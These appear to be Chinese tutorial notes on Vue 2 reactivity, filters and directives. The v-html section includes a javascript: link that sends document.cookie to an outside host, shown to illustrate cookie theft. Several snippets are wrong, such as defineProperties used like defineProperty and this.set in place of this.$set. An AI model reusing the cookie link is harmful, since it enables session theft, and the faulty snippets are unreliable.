  14. 3.可遍历:数组、对象、字符串(用的少)、指定次数(用的少) -->
  15. <div id="root">
  16. <h2>人员列表</h2>
  17. <button @click="updateMei">点击更新马冬梅的信息</button>
  18. <ul>
  19. <li v-for="p in persons" :key="p.id">
  20. {{p.name}}--{{p.age}}
  21. </li>
  22. </div>
  23. </body>
  24. <script type="text/javascript">
  25. new Vue({
  26. el: '#root',
  27. data: {
  28. persons: [
  29. { id: '001', name: '马冬梅', age: 19, sex: '女' },
  30. { id: '002', name: '周冬雨', age: 21, sex: '女' },
  31. { id: '003', name: '周杰伦', age: 11, sex: '男' },
  32. { id: '004', name: '温兆伦', age: 13, sex: '男' }
  33. ]
  34. },
  35. methods: {
  36. updateMei(){
  37. // 修改后Vue页面更新了
  38. // this.persons[0].age=10
  39. // this.persons[0].name='马老师'
  40. // Vue页面并没有更新
  41. this.persons[0]={ id: '001', name: '马老师', age: 10, sex: '女' }
  42. }
  43. },
  44. })
  45. </script>
  46. </html>

 2.检测数据的原理---对象

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. </head>
  9. <body>
  10. <script type="text/javascript">
  11. let data={
  12. name:'小林学校',
  13. address:'广东省'
  14. }
  15. // 创建一个监视的实例对象
  16. const obs=new Observer(data)
  17. // 创建一个vm实例对象
  18. let vm={}
  19. vm._data=data=obs
  20. function Observer(obj){
  21. // 汇总对象中所有的属性形成一个数组
  22. const keys=Object.keys(obj)
  23. // 遍历
  24. keys.forEach((k)=>{
  25. Object.defineProperties(this,k,{
  26. get(){
  27. return obj[k]
  28. },
  29. set(value){
  30. console.log(`${k}被改了,我要去解析模板了`);
  31. obj[k]=value
  32. }
  33. })
  34. })
  35. }
  36. // 使用下面这个方法会出现栈溢出
  37. /*
  38. Object.defineProperties(data,'name',{
  39. get(){
  40. return data.name
  41. },
  42. set(val){
  43. data.name=val
  44. }
  45. })
  46. */
  47. </script>
  48. </body>
  49. </html>

3.Vue.set/vm.$set(要添加到的地方,要添加的属性名,添加的属性值)方法【vm._data.student===vm.stduent】

注意点:set中的target(第一个参数)中不允许出现vm或者vm.data。

(1)直接将属性加上

 (2)使用Vue.set()

  1. <!-- 表示当student.sex===true的时候展示 -->
  2. <h2 v-if="student.sex">性别:{{student.sex}}</h2>
  3. <script type="text/javascript">
  4. const vm=new Vue({
  5. el: '#root',
  6. data: {
  7. name:'小林学校',
  8. address:'广东省' ,
  9. student:{
  10. name:'tom',
  11. age:{
  12. rAge:19,
  13. sAge:20,
  14. },
  15. friends:[
  16. {name:'Tom',age:34},
  17. {name:'Jerry',age:33}
  18. ]
  19. }
  20. },
  21. methods: {
  22. addSex(){
  23. Vue.set(this.student,'sex','男')
  24. }
  25. },
  26. })
  27. </script>

 (3)使用vm.$set()

  1. <!-- 表示当student.sex===true的时候展示 -->
  2. <h2 v-if="student.sex">性别:{{student.sex}}</h2>
  3. <script type="text/javascript">
  4. const vm=new Vue({
  5. el: '#root',
  6. data: {
  7. name:'小林学校',
  8. address:'广东省' ,
  9. student:{
  10. name:'tom',
  11. age:{
  12. rAge:19,
  13. sAge:20,
  14. },
  15. friends:[
  16. {name:'Tom',age:34},
  17. {name:'Jerry',age:33}
  18. ]
  19. }
  20. },
  21. methods: {
  22. addSex(){
  23. // Vue.set(this.student,'sex','男')
  24. this.set(this.student,'sex','男')
  25. }
  26. },
  27. })
  28. </script>

(4)注意点

注意点:set中的target(第一个参数)中不允许出现vm或者vm.data。

vm.$set(vm._data.student,'sex','男')等价于vm.$set(vm.student,'sex','男')

解决方法:只能在data中创建一个对象,把要的数据放进去

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <div id="root">
  12. <h1>学校信息</h1>
  13. <h2>学校名称:{{school.name}}</h2>
  14. <h2>学校地址:{{school.address}}</h2>
  15. <!-- leader是查看data中是否包含leader这个属性 -->
  16. <h2>小张是:{{school.leader}}</h2>
  17. <!-- 注意点:在Vue中如果a不存在,则访问a则报错 -->
  18. <!-- 如果a存在,b不存在,则a.b不报错 -->
  19. <hr>
  20. <h1>学生信息</h1>
  21. <button @click="addSex">添加一个性别属性,默认值为男</button>
  22. <h2>学生姓名:{{student.name}}</h2>
  23. <hr>
  24. <h2>学生真实年龄:{{student.age.rAge}}</h2>
  25. <hr>
  26. <h2>学生对外年龄:{{student.age.sAge}}</h2>
  27. <hr>
  28. <!-- 表示当student.sex===true的时候展示 -->
  29. <h2 v-if="student.sex">性别:{{student.sex}}</h2>
  30. <h2>朋友们</h2>
  31. <ul>
  32. <li v-for="(f,index) in student.friends" :key="index">
  33. {{f.name}}--{{f.age}}
  34. </li>
  35. </ul>
  36. </div>
  37. </body>
  38. <script type="text/javascript">
  39. const vm = new Vue({
  40. el: '#root',
  41. data: {
  42. school: {
  43. name: '小林学校',
  44. address: '广东省',
  45. },
  46. student: {
  47. name: 'tom',
  48. age: {
  49. rAge: 19,
  50. sAge: 20,
  51. },
  52. friends: [
  53. { name: 'Tom', age: 34 },
  54. { name: 'Jerry', age: 33 }
  55. ]
  56. },
  57. },
  58. methods: {
  59. addSex() {
  60. // Vue.set(this.student,'sex','男')
  61. this.$set(this.student, 'sex', '男')
  62. }
  63. },
  64. })
  65. </script>
  66. </html>

 (5)总结

官方文档:API — Vue.js (vuejs.org)

  4.检测数据的原理---数组

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <div id="root">
  12. <h1>学校信息</h1>
  13. <h2>学校名称:{{school.name}}</h2>
  14. <h2>学校地址:{{school.address}}</h2>
  15. <!-- leader是查看data中是否包含leader这个属性 -->
  16. <h2>小张是:{{school.leader}}</h2>
  17. <!-- 注意点:在Vue中如果a不存在,则访问a则报错 -->
  18. <!-- 如果a存在,b不存在,则a.b不报错 -->
  19. <hr>
  20. <h1>学生信息</h1>
  21. <button @click="addSex">添加一个性别属性,默认值为男</button>
  22. <h2>学生姓名:{{student.name}}</h2>
  23. <hr>
  24. <h2>学生真实年龄:{{student.age.rAge}}</h2>
  25. <hr>
  26. <h2>学生对外年龄:{{student.age.sAge}}</h2>
  27. <hr>
  28. <h2>爱好</h2>
  29. <ul>
  30. <li v-for="(h,index) in student.hobby" :key="index">
  31. {{h}}
  32. </li>
  33. </ul>
  34. <!-- 表示当student.sex===true的时候展示 -->
  35. <h2 v-if="student.sex">性别:{{student.sex}}</h2>
  36. <h2>朋友们</h2>
  37. <ul>
  38. <li v-for="(f,index) in student.friends" :key="index">
  39. {{f.name}}--{{f.age}}
  40. </li>
  41. </ul>
  42. </div>
  43. </body>
  44. <script type="text/javascript">
  45. const vm = new Vue({
  46. el: '#root',
  47. data: {
  48. school: {
  49. name: '小林学校',
  50. address: '广东省',
  51. },
  52. student: {
  53. name: 'tom',
  54. age: {
  55. rAge: 19,
  56. sAge: 20,
  57. },
  58. hobby:['抽烟','喝酒','烫头'],
  59. friends: [
  60. { name: 'Tom', age: 34 },
  61. { name: 'Jerry', age: 33 }
  62. ]
  63. },
  64. },
  65. methods: {
  66. addSex() {
  67. // Vue.set(this.student,'sex','男')
  68. this.$set(this.student, 'sex', '男')
  69. }
  70. },
  71. })
  72. </script>
  73. </html>

 官网:

列表渲染 — Vue.js

(1) 修改数组中的数据方法一:使用Vue提供的方法进行操作

 (2) 修改数组中的数据方法二:使用Vue.set() /vm.$set()

 5.总结

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>Vue数据监视</title>
  6. <style>
  7. button{
  8. margin-top: 10px;
  9. }
  10. </style>
  11. <script type="text/javascript" src="./js/vue.js"></script>
  12. </head>
  13. <body>
  14. <!-- 总结:
  15. Vue监视数据的原理:
  16. 1.vue会监视data中所有层次的数据
  17. 2.如何监测对象中的数据?
  18. 通过setter实现监视,且要在new Vue时就传入要监测的数据
  19. (1)对象中后追加的属性,Vue默认不做响应式处理
  20. (2)如需给后添加的属性做响应式,请使用如下API:
  21. Vue.set(target,propertyName/index,value)
  22. vm.$set(target,propertyName/index,value)
  23. 3. 如何监测数组中的数据?
  24. 通过包裹数组更新元素的方法实现,本质就是做了两件事:
  25. (1)调用原生对应的方法对数组进行更新
  26. (2)重新解析模板,进而更新页面
  27. 4.在Vue修改数组中的某个元素一定要用如下方法:
  28. (1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
  29. (2)Vue.set() 或 vm.$set()
  30. 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性 -->
  31. <div id="root">
  32. <h1>学生信息</h1>
  33. <button @click="student.age++">年龄+1岁</button><br/>
  34. <button @click="addSex">添加性别属性,默认值:男</button> <br/>
  35. <button @click="addFriend">在列表首位添加一个朋友</button> <br/>
  36. <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button><br/>
  37. <button @click="addHobby">添加一个爱好</button> <br/>
  38. <button @click="updateHobby">修改第一个爱好为:开车</button><br/>
  39. <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
  40. <h3>姓名:{{student.name}}</h3>
  41. <h3>年龄:{{student.age}}</h3>
  42. <!-- 添加:v-if="student.sex"--是当不设置性别的时候,不出现性别1这个对话 -->
  43. <h3 v-if="student.sex">性别:{{student.sex}}</h3>
  44. <h3>爱好:</h3>
  45. <ul>
  46. <li v-for="(h,index) in student.hobby" :key="index">
  47. {{h}}
  48. </li>
  49. </ul>
  50. <h3>朋友们:</h3>
  51. <ul>
  52. <li v-for="(f,index) in student.friends" :key="index">
  53. {{f.name}}--{{f.age}}
  54. </li>
  55. </ul>
  56. </div>
  57. </body>
  58. <script type="text/javascript">
  59. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  60. const vm = new Vue({
  61. el:'#root',
  62. data:{
  63. student:{
  64. name:'tom',
  65. age:18,
  66. hobby:['抽烟','喝酒','烫头'],
  67. friends:[
  68. {name:'jerry',age:35},
  69. {name:'tony',age:36}
  70. ]
  71. }
  72. },
  73. methods: {
  74. addSex(){
  75. // vm._data.student===this.student
  76. //Vue.set(this.student,'sex','男')
  77. this.$set(this.student,'sex','男')
  78. },
  79. // 在首位添加
  80. addFriend(){
  81. // friends中的是对象
  82. // 使用Array中的API
  83. //响应式,因为有set和get方法
  84. this.student.friends.unshift({name:'jack',age:70})
  85. },
  86. updateFirstFriendName(){
  87. // this.student.friends[0]=13//可以进行修改,但是Vue不承认
  88. // this.student.friends[0].name--是对象,所以有get和set
  89. this.student.friends[0].name = '张三'
  90. },
  91. addHobby(){
  92. this.student.hobby.push('学习')
  93. },
  94. updateHobby(){
  95. // 报错,因为操作了数组
  96. // this.student.hobby[0]='开车'
  97. // 方式一:
  98. this.student.hobby.splice(0,1,'开车')
  99. // 方式二:
  100. // this.set(this.student.hobby,0,'开车')
  101. // 方式三:
  102. // this.$set(this.student.hobby,0,'开车')
  103. },
  104. removeSmoke(){
  105. //将新的数组代替原来的数组
  106. this.student.hobby = this.student.hobby.filter((h)=>{
  107. return h !== '抽烟'
  108. })
  109. }
  110. }
  111. })
  112. </script>
  113. </html>

          Vue监视数据的原理:

              1.vue会监视data中所有层次的数据

              2.如何监测对象中的数据?

                  通过setter实现监视,且要在new Vue时就传入要监测的数据

                    (1)对象中后追加的属性,Vue默认不做响应式处理

                    (2)如需给后添加的属性做响应式,请使用如下API:

                        Vue.set(target,propertyName/index,value)

                        vm.$set(target,propertyName/index,value)

             3. 如何监测数组中的数据?

                  通过包裹数组更新元素的方法实现,本质就是做了两件事:

                      (1)调用原生对应的方法对数组进行更新【push等】

                      (2)重新解析模板,进而更新页面

              4.在Vue修改数组中的某个元素一定要用如下方法:

                  (1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

                  (2)Vue.set() 或 vm.$set()

            特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性

15.收集表单数据

 1.type="checkbox"【多选框】

(1)v-model收集的是value值,当需要获取用户输入的value值的时候

  1. <!-- 因为这里需要获取value值 -->
  2. 学习<input type="checkbox" v-model="hobby" value="study">
  3. 打游戏<input type="checkbox" v-model="hobby" value="game">
  4. 吃饭<input type="checkbox" v-model="hobby" value="eat">
  5. <br/><br/>
  6. <script type="text/javascript">
  7. new Vue({
  8. el:'#root',
  9. data:{
  10. // 注意:hobby是一个多选项,所以hobby初始值是数组
  11. hobby:[],
  12. },
  13. })
  14. </script>

 (2)当只需要知道为false还是true的时候

  1. <!-- 这里不需要获取value,只需要知道是true还是false -->
  2. <input type="checkbox" v-model="agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
  3. <script type="text/javascript">
  4. new Vue({
  5. el:'#root',
  6. data:{
  7. agree:''
  8. },
  9. })
  10. </script>

注意点:

如果是多选框,则要注意一下几点:

        (1)要给每一个input框添加一个value值

        (2)要将v-model绑定的值设置为数组

2.阻止按钮的默认提交行为

(1)给按钮添加点击事件,并且使用阻止默认行为

  1. <button @click="submit">提交</button>
  2. <script type="text/javascript">
  3. new Vue({
  4. el:'#root',
  5. data:{
  6. },
  7. methods: {
  8. submit(e){
  9. e.preventDefault();
  10. }
  11. },
  12. })
  13. </script>

(2)给表单添加一个submit的点击事件

3.要在控制台输出用户输入的全部信息 

(1)直接将_data输出

(2)在dta中将用户输入的信息封装成一个对象,然后直接输出对象即可

 

3.用户输入类型的控制(type="number" v-model.number="game")

  1. <!-- type="number":用于控制文本框中只能输入number -->
  2. <!-- v-model.number="userInfo.age":使得收集到为number -->
  3. <!-- 上面两个同时使用 -->
  4. 年龄:<input type="number" v-model.number="userInfo.age"><br><br>

4.延迟收集(v-model.lazy="userInfo.other")

 5.去除前后的空格(v-model.trim="userInfo.account")

 6.总结

16.过滤器

过滤器可以对前面你写的数据进行按照某种形式加工处理

 1.引入day.js

dayjs (v1.11.7) - Day.js 是一个轻量的处理时间和日期的 JavaScript 库,和 Moment.js 的 API 设计保持完全一样. 如果您曾经用过 Moment.js, 那么您已经知道如何使用 Day.js | BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务

将其下载下来

  <script type="text/javascript" src="./dayjs.min.js"></script>

2.使用计算属性格式化时间

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>收集表单数据</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. <script type="text/javascript" src="./dayjs.min.js"></script>
  10. </head>
  11. <body>
  12. <div id="root">
  13. <h2>显示格式化后的时间</h2>
  14. <!-- 使用计算属性格式化时间 -->
  15. <h3>现在是:{{fmtTime}}</h3>
  16. </div>
  17. </body>
  18. <script type="text/javascript">
  19. new Vue({
  20. el: '#root',
  21. data: {
  22. time:1677890911030 //时间戳
  23. },
  24. computed: {
  25. fmtTime(){
  26. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  27. }
  28. },
  29. })
  30. </script>
  31. </html>

3.提供methods实现格式化时间

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>收集表单数据</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. <script type="text/javascript" src="./dayjs.min.js"></script>
  10. </head>
  11. <body>
  12. <div id="root">
  13. <h2>显示格式化后的时间</h2>
  14. <!-- methods实现格式化时间 -->
  15. <!-- 因为是方法,所以记得小括号 -->
  16. <h3>现在是:{{getFmtTime()}}</h3>
  17. </div>
  18. </body>
  19. <script type="text/javascript">
  20. new Vue({
  21. el: '#root',
  22. data: {
  23. time:1677890911030 //时间戳
  24. },
  25. methods: {
  26. getFmtTime(){
  27. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  28. }
  29. },
  30. })
  31. </script>
  32. </html>

4.提供过滤器实现格式化时间

(1)带参数的过滤器

  1. <!-- 过滤器实现 -->
  2. <!-- 不带参数的 -->
  3. <h3>现在是:{{time | timeformater}}</h3>
  4. <!-- 带参数的 -->
  5. <h3>现在是:{{time | timeformater('YYYY-MM-DD')}}</h3>
  6. filters:{
  7. // 过滤器的本质是一个函数
  8. // 这里写str的初始值是为了以防timeformater没有传入参数的
  9. timeformater(value,str='YYYY-MM-DD'){
  10. // 这个value指的是time
  11. console.log('@',value);
  12. // return 'hello'
  13. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  14. }
  15. }

 (2)多个过滤器的串联使用

注意点:time是一个一个传的,不会直接给mySlice 

  1. <h3>现在是:{{time | timeformater('YYYY-MM-DD') | mySlice}}</h3>
  2. filters:{
  3. // 过滤器的本质是一个函数
  4. // 这里写str的初始值是为了以防timeformater没有传入参数的
  5. timeformater(value,str='YYYY-MM-DD'){
  6. // 这个value指的是time
  7. console.log('@',value);
  8. // return 'hello'
  9. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  10. },
  11. mySlice(value,str='YYYY-MM-DD'){
  12. // 截取前4位
  13. return value.slice(0,4)
  14. }
  15. }

5.局部过滤器(只能在当前vm中使用)

 6.全局过滤器【Vue.filter()】

注意点:是filter不是filters

        必须写在new实例之前

  1. // 全局过滤器
  2. Vue.filter('mySlice',function(value){
  3. // 截取前4位
  4. return value.slice(0,4)
  5. })

 7.动态绑定中使用过滤器

 8.注意点

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>收集表单数据</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. <script type="text/javascript" src="./dayjs.min.js"></script>
  10. </head>
  11. <body>
  12. <!-- 过滤器:
  13. 1.定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
  14. 2.语法:
  15. (1)注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
  16. (2)使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
  17. 备注:
  18. 1.过滤器可以接收额外参数,多个过滤器也可以串联
  19. 2.并没有改变原本的数据,而是产生新的对应的数据 -->
  20. <div id="root">
  21. <h2>显示格式化后的时间</h2>
  22. <!-- 使用计算属性格式化时间 -->
  23. <h3>现在是:{{fmtTime}}</h3>
  24. <!-- methods实现格式化时间 -->
  25. <!-- 因为是方法,所以记得小括号 -->
  26. <h3>现在是:{{getFmtTime()}}</h3>
  27. <!-- 过滤器实现 -->
  28. <!-- 不带参数的 -->
  29. <h3>现在是:{{time | timeformater}}</h3>
  30. <!-- 带参数的 -->
  31. <h3>现在是:{{time | timeformater('YYYY-MM-DD') | mySlice}}</h3>
  32. </div>
  33. <div id="root2">
  34. <h1>{{msg}}</h1>
  35. <h2 :x="message | mySlice">动态绑定中使用过滤器</h2>
  36. </div>
  37. </body>
  38. <script type="text/javascript">
  39. Vue.config.productionsTip=false
  40. // 全局过滤器
  41. Vue.filter('mySlice',function(value){
  42. // 截取前4位
  43. return value.slice(0,4)
  44. })
  45. const vm1=new Vue({
  46. el: '#root',
  47. data: {
  48. time:1677890911030, //时间戳
  49. message:'您好'
  50. },
  51. computed: {
  52. fmtTime(){
  53. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  54. }
  55. },
  56. methods: {
  57. getFmtTime(){
  58. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  59. }
  60. },
  61. // 局部过滤器
  62. filters:{
  63. // 过滤器的本质是一个函数
  64. // 这里写str的初始值是为了以防timeformater没有传入参数的
  65. timeformater(value,str='YYYY-MM-DD'){
  66. // 这个value指的是time
  67. console.log('@',value);
  68. // return 'hello'
  69. return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
  70. },
  71. mySlice(value,str='YYYY-MM-DD'){
  72. // 截取前4位
  73. return value.slice(0,4)
  74. }
  75. }
  76. })
  77. const vm2=new Vue({
  78. el:'#root2',
  79. data:{
  80. msg:'hello'
  81. }
  82. })
  83. </script>
  84. </html>

filter只能在插值语法和v-bind中使用,不能再v-model中使用

过滤器产生的是一个新的结果,记得要重新赋值

 

 17.内置指令(其他)

1.v-text:替换了节点中的内容

    之前学过的指令:

      v-bind:单向绑定解析表达式,可简写为:

      v-model:双向数据绑定

      v-for:遍历数组 / 对象 / 字符串

      v-on:绑定事件监听,可简写为@

      v-if:条件渲染(动态控制节点是否存存在)

      v-else:条件渲染(动态控制节点是否存存在)

      v-show:条件渲染 (动态控制节点是否展示)

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>收集表单数据</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!--
  12. 之前学过的指令:
  13. v-bind:单向绑定解析表达式,可简写为:
  14. v-model:双向数据绑定
  15. v-for:遍历数组 / 对象 / 字符串
  16. v-on:绑定事件监听,可简写为@
  17. v-if:条件渲染(动态控制节点是否存存在)
  18. v-else:条件渲染(动态控制节点是否存存在)
  19. v-show:条件渲染 (动态控制节点是否展示)
  20. v-text指令:
  21. 作用:向其所在的节点中渲染文本内容
  22. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。 -->
  23. <div id="root">
  24. <div>{{name}}</div>
  25. <div v-text="name"></div>
  26. <div v-text="str"></div>
  27. </div>
  28. </body>
  29. <script type="text/javascript">
  30. Vue.config.productionsTip=false
  31. const vm1=new Vue({
  32. el: '#root',
  33. data: {
  34. name:'小坤',
  35. str:'<h3>您好</h3>'
  36. }
  37. })
  38. </script>
  39. </html>

  

 v-text指令:

    作用:向其所在的节点中渲染文本内容

        注意点:v-text不会解析标签

    与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

2.v-html

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>收集表单数据</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <div id="root">
  12. <!-- 可以解析标签 -->
  13. <div v-html="str"></div>
  14. <!-- 不可以解析标签 -->
  15. <div v-text="str"></div>
  16. </div>
  17. </body>
  18. <script type="text/javascript">
  19. Vue.config.productionsTip=false
  20. // 全局过滤器
  21. Vue.filter('mySlice',function(value){
  22. // 截取前4位
  23. return value.slice(0,4)
  24. })
  25. const vm1=new Vue({
  26. el: '#root',
  27. data: {
  28. name:'小坤',
  29. str:'<h3>您好</h3>'
  30. }
  31. })
  32. </script>
  33. </html>

(1)安全性问题(cookie)

 

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>v-html指令</title>
  6. <script type="text/javascript" src="../js/vue.js"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. <div>Hello,{{name}}</div>
  11. <div v-html="str"></div>
  12. <div v-html="str2"></div>
  13. </div>
  14. </body>
  15. <script type="text/javascript">
  16. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  17. new Vue({
  18. el:'#root',
  19. data:{
  20. name:'JOJO',
  21. str:'<h3>你好啊!</h3>',
  22. // document.cookie:获取当前网站是所有cookie
  23. str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
  24. }
  25. })
  26. </script>
  27. </html>

 2.总结

3.v-cloak :当网络较慢的时候,不让未解析的再页面上显示

 

 总结

 3.v-once

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>v-once指令</title>
  6. <script type="text/javascript" src="./js/vue.min.js"></script>
  7. </head>
  8. <body>
  9. <!-- v-once指令:
  10. 1.v-once所在节点在初次动态渲染后,就视为静态内容了
  11. 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能 -->
  12. <div id="root">
  13. <h2 v-once>n初始化的值是:{{n}}</h2>
  14. <h2>n现在的值是:{{n}}</h2>
  15. <button @click="n++">点我n+1</button>
  16. </div>
  17. </body>
  18. <script type="text/javascript">
  19. Vue.config.productionTip = false
  20. new Vue({
  21. el:'#root',
  22. data:{
  23. n:1
  24. }
  25. })
  26. </script>
  27. </html>

 v-once指令:

      1.v-once所在节点在初次动态渲染后,就视为静态内容了

      2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

 4.v-pre(Vue不解析)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>v-pre指令</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <body>
  9. <!-- v-pre指令:
  10. 1.跳过其所在节点的编译过程。
  11. 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译 -->
  12. <div id="root">
  13. <h2 v-pre>Vue其实很简单</h2>
  14. <h2>当前的n值是:{{n}}</h2>
  15. <button @click="n++">点我n+1</button>
  16. </div>
  17. </body>
  18. <script type="text/javascript">
  19. Vue.config.productionTip = false
  20. new Vue({
  21. el:'#root',
  22. data:{
  23. n:1
  24. }
  25. })
  26. </script>
  27. </html>

v-pre指令:

      1.跳过其所在节点的编译过程。

     2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

18.自定义指令:directives:{}

1.函数式:函数名字(获取要进行操作的DOM元素,binding)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>自定义指令</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <!--
  9. 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
  10. -->
  11. <body>
  12. <div id="root">
  13. <h2>当前的n值是:<span v-text="n"></span> </h2>
  14. <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
  15. <button @click="n++">点我n+1</button>
  16. </div>
  17. </body>
  18. <script type="text/javascript">
  19. Vue.config.productionTip = false
  20. new Vue({
  21. el: '#root',
  22. data: {
  23. n: 1
  24. },
  25. directives: {
  26. //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
  27. // element:获取真实的DOM元素
  28. // binding:是一个对象,里面包含value
  29. big(element, binding) {
  30. // console.log(element,binding);
  31. console.log('big', this) //注意此处的this是window
  32. element.innerText = binding.value * 10
  33. }
  34. }
  35. })
  36. </script>
  37. </html>

 2.对象式

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>自定义指令</title>
  6. <script type="text/javascript" src="./js/vue.js"></script>
  7. </head>
  8. <!--
  9. 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
  10. -->
  11. <body>
  12. <div id="root">
  13. <hr/>
  14. <input type="text" v-fbind:value="n">
  15. </div>
  16. </body>
  17. <script type="text/javascript">
  18. Vue.config.productionTip = false
  19. new Vue({
  20. el:'#root',
  21. data:{
  22. n:1
  23. },
  24. directives:{
  25. // 如果fbind是一个函数,则无法解决问题
  26. // 因为fbind被调用的情况只有2种:1.指令与元素成功绑定时(一上来)【bind】 2.指令所在的模板被重新解析时【update】
  27. // 所以将fbind写为对象
  28. // fbind中必须出现的3个函数[名字不能改变]
  29. fbind:{
  30. //指令与元素成功绑定时(一上来)
  31. // element指的是input
  32. bind(element,binding){
  33. element.value = binding.value
  34. },
  35. //指令所在元素被插入页面时
  36. inserted(element,binding){
  37. element.focus()
  38. },
  39. //指令所在的模板被重新解析时
  40. update(element,binding){
  41. element.value = binding.value
  42. }
  43. }
  44. }
  45. })
  46. </script>
  47. </html>

3.注意点

1.当指令名字出现“-”的时候:在directives中要加单引号

  1. <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
  2. directives: {
  3. //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
  4. 'big-number'(element, binding) {
  5. console.log('big', this) //注意此处的this是window
  6. element.innerText = binding.value * 10
  7. }
  8. }

 2.指令中的this都是window

3.全局指令:Vue.directive(‘函数名',{}) 

  1. // 全局指令
  2. Vue.directive('fbind2', {
  3. //指令与元素成功绑定时(一上来)
  4. bind(element, binding) {
  5. console.log('fbind-bind', this); //window
  6. element.value = binding.value
  7. },
  8. //指令所在元素被插入页面时
  9. inserted(element, binding) {
  10. console.log('fbind-inserted', this); //window
  11. element.focus()
  12. },
  13. //指令所在的模板被重新解析时
  14. update(element, binding) {
  15. console.log('fbind-update', this); //window
  16. element.value = binding.value
  17. }
  18. })

4.总结

1.自定义指令定义语法

         1.局部指令:

  1. new Vue({
  2. directives:{指令名:配置对象}
  3. })
  1. new Vue({
  2. directives:{指令名:回调函数}
  3. })

        2.全局指令:

  1. Vue.directive(指令名,配置对象)
  2. Vue.directive(指令名,回调函数)
